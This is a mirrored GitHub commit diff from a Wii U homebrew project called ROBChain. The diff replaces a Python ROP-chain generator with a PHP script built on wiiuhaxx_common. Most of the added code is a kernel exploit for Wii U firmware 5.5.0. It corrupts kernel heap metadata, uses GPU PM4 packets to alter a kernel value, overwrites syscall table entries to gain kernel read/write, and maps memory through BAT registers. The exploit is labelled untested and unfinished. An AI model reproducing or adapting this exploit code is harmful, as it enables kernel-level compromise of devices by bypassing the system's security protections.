mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-12-05 00:04:18 +01:00
Merge pull request #1 from wiiu-env/master
Use wiiuhaxx_common / php to generate the rop chain
This commit is contained in:
jam1garner
GitHub
commit
6531d105ca
1
.gitignore
vendored
1
.gitignore
vendored
@ -1 +1,2 @@
|
|||||||
*.swp
|
*.swp
|
||||||
|
wiiuhaxx_common/
|
||||||
@ -9,6 +9,8 @@ Required:
|
|||||||
|
|
||||||
* Python 3.6 or greater in path as python3 (Edit Makefile for other configs)
|
* Python 3.6 or greater in path as python3 (Edit Makefile for other configs)
|
||||||
* make
|
* make
|
||||||
|
* php
|
||||||
|
* A copy of the [wiiuhaxx_common release files (>=0.3](https://github.com/wiiu-env/wiiuhaxx_common/releases) inside a folder `wiiuhaxx_common.`
|
||||||
|
|
||||||
```
|
```
|
||||||
git clone --recurse-submodules https://github.com/jam1garner/ROBChain.git && \
|
git clone --recurse-submodules https://github.com/jam1garner/ROBChain.git && \
|
||||||
|
|||||||
3
kexploit/.gitignore
vendored
Normal file
3
kexploit/.gitignore
vendored
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
main.s
|
||||||
|
payload.s
|
||||||
|
*.mscsb
|
||||||
@ -1,14 +1,26 @@
|
|||||||
all: exploit.mscsb
|
wiiuhaxx_common_path := ../wiiuhaxx_common/wiiu_browserhax_common.php
|
||||||
|
wiiuhaxx_common_cfg := wiiuhaxx_common_cfg.php
|
||||||
|
pymsc_asm_py := ../pymsc/asm.py
|
||||||
|
|
||||||
|
all: clean exploit.mscsb
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -f exploit.mscsb payload.s main.s
|
rm -f exploit.mscsb payload.s main.s
|
||||||
|
|
||||||
exploit.mscsb: payload.s Scripts main.s
|
exploit.mscsb: $(pymsc_asm_py) payload.s Scripts main.s
|
||||||
python3 ../pymsc/asm.py
|
python ../pymsc/asm.py
|
||||||
|
|
||||||
payload.s: payload.bin
|
payload.s: payload.bin
|
||||||
python3 generate_payload.py
|
python generate_payload.py
|
||||||
|
|
||||||
main.s: rop_setup.s
|
main.s: rop_setup.s $(wiiuhaxx_common_cfg) $(wiiuhaxx_common_path)
|
||||||
python3 generate_rop.py
|
php generatepayload.php > main.s
|
||||||
|
|
||||||
|
$(pymsc_asm_py):
|
||||||
|
if [ -a $(pymsc_asm_py) ]; then $(error missing $(pymsc_asm_py) (git clone recursive)); fi;
|
||||||
|
|
||||||
|
$(wiiuhaxx_common_path):
|
||||||
|
if [ -a $(wiiuhaxx_common_path) ]; then $(error missing $(wiiuhaxx_common_path)); fi;
|
||||||
|
|
||||||
|
$(wiiuhaxx_common_cfg):
|
||||||
|
if [ -a $(wiiuhaxx_common_cfg) ]; then $(error missing $(wiiuhaxx_common_cfg)); fi;
|
||||||
@ -1,74 +0,0 @@
|
|||||||
|
|
||||||
# Addresses
|
|
||||||
LOAD_R3_ADDR = 0x0C00C650
|
|
||||||
OSFATAL_ADDR = 0x01031618
|
|
||||||
|
|
||||||
def write32(u32):
|
|
||||||
global script
|
|
||||||
script += f"pushInt. {hex(u32)}\n"
|
|
||||||
|
|
||||||
def writePayloadAddress():
|
|
||||||
global script
|
|
||||||
script += "pushVar. globalVar,mscScriptAddress\n"
|
|
||||||
|
|
||||||
def writeEnd():
|
|
||||||
global script
|
|
||||||
script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
|
|
||||||
|
|
||||||
"""
|
|
||||||
Example payload (writeOSFatalPayload func)
|
|
||||||
|
|
||||||
pushInt. 0xC00C650
|
|
||||||
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
|
|
||||||
pushInt. 0xBEEF0001
|
|
||||||
pushInt. 0xBEEF0002
|
|
||||||
pushInt. 0xBEEF0003
|
|
||||||
pushInt. 0xBEEF0004
|
|
||||||
pushInt. 0xBEEF0005
|
|
||||||
pushInt. 0xBEEF0006
|
|
||||||
pushInt. 0xBEEF0007
|
|
||||||
pushInt. 0xBEEF0008
|
|
||||||
pushInt. 0xBEEF0009
|
|
||||||
pushInt. 0xBEEF000A
|
|
||||||
pushInt. 0xBEEF000B
|
|
||||||
pushInt. 0xBEEF000C
|
|
||||||
pushInt. 0xBEEF000D
|
|
||||||
pushInt. 0xBEEF000E
|
|
||||||
pushInt. 0xBEEF000F
|
|
||||||
pushInt. 0xBEEF0010
|
|
||||||
pushInt. 0xBEEF0011
|
|
||||||
pushInt. 0xBEEF0012
|
|
||||||
pushInt. 0xBEEF0013
|
|
||||||
pushInt. 0xBEEF0014
|
|
||||||
pushInt. 0xBEEF0015
|
|
||||||
pushInt. 0xBEEF0016
|
|
||||||
pushInt. 0xBEEF0017
|
|
||||||
pushInt. 0xBEEF0018
|
|
||||||
pushInt. 0xBEEF0019
|
|
||||||
pushInt. 0xBEEF001A
|
|
||||||
pushInt. 0x01031618 #return address (OSFatal)
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Print out contents of payload as null terminated string
|
|
||||||
def writeOSFatalPayload():
|
|
||||||
write32(LOAD_R3_ADDR)
|
|
||||||
writePayloadAddress()
|
|
||||||
for i in range(0x1A):
|
|
||||||
write32(0xBEEF0000 + i + 1)
|
|
||||||
write32(OSFATAL_ADDR)
|
|
||||||
writeEnd()
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
global script
|
|
||||||
with open('rop_setup.s', 'r') as f:
|
|
||||||
script = f.read()
|
|
||||||
|
|
||||||
writeOSFatalPayload()
|
|
||||||
|
|
||||||
with open("main.s", 'w') as f:
|
|
||||||
f.write(script)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
174
kexploit/generatepayload.php
Normal file
174
kexploit/generatepayload.php
Normal file
@ -0,0 +1,174 @@
|
|||||||
|
<?php
|
||||||
|
function hexentities($str) {
|
||||||
|
$return = '';
|
||||||
|
for($i = 0; $i < strlen($str); $i += 4) {
|
||||||
|
$return .= 'pushInt. 0x'.bin2hex(substr($str, $i, 4)). "\n";
|
||||||
|
}
|
||||||
|
return $return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Settings
|
||||||
|
$_REQUEST['sysver'] = '550'; // Currently hardcoded.
|
||||||
|
$generatebinrop = 1; // Make sure the $ROPCHAIN will be in binary.
|
||||||
|
|
||||||
|
// Type 4 params
|
||||||
|
$payload_tmp_address = 0x10C51000;
|
||||||
|
|
||||||
|
$ROPHEAP = $payload_tmp_address - 0x1000; //+ is a BAD idea as is may override our payload
|
||||||
|
|
||||||
|
$ropchainselect = 99; // Own ROPChain.
|
||||||
|
|
||||||
|
require_once("../wiiuhaxx_common/wiiu_browserhax_common.php");
|
||||||
|
|
||||||
|
echo file_get_contents('rop_setup.s');
|
||||||
|
|
||||||
|
//Untested
|
||||||
|
function generateROPChain(){
|
||||||
|
$drvhax_addr = 0x105F31A4; // Some free space in memmory size: 0x4C
|
||||||
|
|
||||||
|
$KERN_SYSCALL_TBL_1 = 0xFFE84C70;
|
||||||
|
$KERN_SYSCALL_TBL_2 = 0xFFE85070;
|
||||||
|
$KERN_SYSCALL_TBL_3 = 0xFFE85470;
|
||||||
|
$KERN_SYSCALL_TBL_4 = 0xFFEAAA60;
|
||||||
|
$KERN_SYSCALL_TBL_5 = 0xFFEAAE60;
|
||||||
|
|
||||||
|
$metadata_addr = 0x1F200014; // Create kernel heap block. We manipulate the kernel heap to use THIS
|
||||||
|
// Set the kernel heap metadata entry
|
||||||
|
ropgen_writeword_tomem($drvhax_addr, $metadata_addr);
|
||||||
|
ropgen_writeword_tomem(0xFFFFFFB4, $metadata_addr +4);
|
||||||
|
ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +8);
|
||||||
|
ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +12);
|
||||||
|
|
||||||
|
//Build PM4 packet.
|
||||||
|
$pm4_addr = 0x10C51000;
|
||||||
|
ropgen_writeword_tomem(0xC0013900, $pm4_addr); $pm4_addr += 4; //PACKET3_MEM_SEMAPHORE
|
||||||
|
ropgen_writeword_tomem(0x1B800008, $pm4_addr); $pm4_addr += 4; //ADDR_LO = target
|
||||||
|
ropgen_writeword_tomem(0xC0000000, $pm4_addr); $pm4_addr += 4; //SEL semaphore signal
|
||||||
|
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
|
||||||
|
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
|
||||||
|
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
|
||||||
|
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
|
||||||
|
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
|
||||||
|
|
||||||
|
ropgen_DCFlushRange($pm4_addr, 0x20);
|
||||||
|
|
||||||
|
// Need to be called from the right core (we gx2 init was called, core1?)
|
||||||
|
ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
|
||||||
|
ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
|
||||||
|
|
||||||
|
ropgen_GX2Flush();
|
||||||
|
|
||||||
|
ropgen_display_u32(0);
|
||||||
|
|
||||||
|
$drvname_addr = 0x105DC1D8;
|
||||||
|
|
||||||
|
// create a string "drvhax" in memoyr
|
||||||
|
ropgen_writeword_tomem(0x44525648 , $drvname_addr);
|
||||||
|
ropgen_writeword_tomem(0x41580000, $drvname_addr +4);
|
||||||
|
|
||||||
|
//register it
|
||||||
|
ropgen_Register($drvname_addr, 6, 0, 0);
|
||||||
|
|
||||||
|
// create src buffer
|
||||||
|
$syscalls_addr = 0x105DC1E0;
|
||||||
|
|
||||||
|
ropgen_writeword_tomem(0xFFF023D4 , $syscalls_addr); // KERN_CODE_READ
|
||||||
|
ropgen_writeword_tomem(0xFFF023F4 , $syscalls_addr + 0x4); // KERN_CODE_WRITE
|
||||||
|
|
||||||
|
|
||||||
|
// Copy content of syscalls_addr to syscall tables
|
||||||
|
ropgen_writeword_tomem($KERN_SYSCALL_TBL_1 + (0x34 * 4),$drvhax_addr + 0x44);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
|
||||||
|
|
||||||
|
ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x34 * 4),$drvhax_addr + 0x44);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
|
||||||
|
ropgen_writeword_tomem($KERN_SYSCALL_TBL_3 + (0x34 * 4),$drvhax_addr + 0x44);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
|
||||||
|
ropgen_writeword_tomem($KERN_SYSCALL_TBL_4 + (0x34 * 4),$drvhax_addr + 0x44);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
|
||||||
|
ropgen_writeword_tomem($KERN_SYSCALL_TBL_5 + (0x34 * 4),$drvhax_addr + 0x44);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Place a function to set the IBAT0 inside free kernel space.
|
||||||
|
|
||||||
|
$setIBAT0Addr = 0xFFF02344;
|
||||||
|
$curAddr = $setIBAT0Addr;
|
||||||
|
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x7C7083A6,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x7C9183A6,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x4E800020,$syscalls_addr);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
|
||||||
|
|
||||||
|
//Save address in src buffer
|
||||||
|
ropgen_writeword_tomem($setIBAT0Addr,$syscalls_addr);
|
||||||
|
|
||||||
|
// setup syscall table, register it as syscall 0x7A. needs to be restored later
|
||||||
|
ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x7A * 4),$drvhax_addr + 0x44);
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 4);
|
||||||
|
|
||||||
|
|
||||||
|
$ROP_callSC0x7A = 0x01022388; // Set exception callback. Calls syscall 0x7A
|
||||||
|
|
||||||
|
// Rop for calling syscall, set IBAT0
|
||||||
|
|
||||||
|
// We need to give the access to our memory.
|
||||||
|
// VA: 01000000..01800000 PA: 32000000..32800000 with r/w for user and supervisor
|
||||||
|
ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
|
||||||
|
|
||||||
|
// Setup DBAT
|
||||||
|
|
||||||
|
//reuse ibat code, but exchange the ibat to dbat commands
|
||||||
|
$curAddr = $setIBAT0Addr + 8;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x7C7983A6,$syscalls_addr); //mtdbatl,3,5
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
$curAddr +=4;
|
||||||
|
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
|
||||||
|
ropgen_writeword_tomem(0x7C7883A6,$syscalls_addr); //mtdbath,3,5
|
||||||
|
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
|
||||||
|
|
||||||
|
// set dbat
|
||||||
|
ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
|
||||||
|
|
||||||
|
// print value to see if everything worked so far.
|
||||||
|
ropgen_display_u32(0);
|
||||||
|
|
||||||
|
// Copy a payload to 0x011DD000, call it!
|
||||||
|
// Tasks in payload:
|
||||||
|
// - install kernel copy data
|
||||||
|
// - restore syscall 0x7A
|
||||||
|
// - restore kernel heap when we have proper code execution.
|
||||||
|
// - (install main hook and switch to miimaker)
|
||||||
|
}
|
||||||
|
|
||||||
|
generateROPChain();
|
||||||
|
|
||||||
|
echo hexentities($ROPCHAIN);
|
||||||
|
?>
|
||||||
5
kexploit/wiiuhaxx_common_cfg.php
Normal file
5
kexploit/wiiuhaxx_common_cfg.php
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
$wiiuhaxxcfg_payloadfilepath = "payload.bin";
|
||||||
|
|
||||||
|
?>
|
||||||
Loading…
Reference in New Issue
Block a user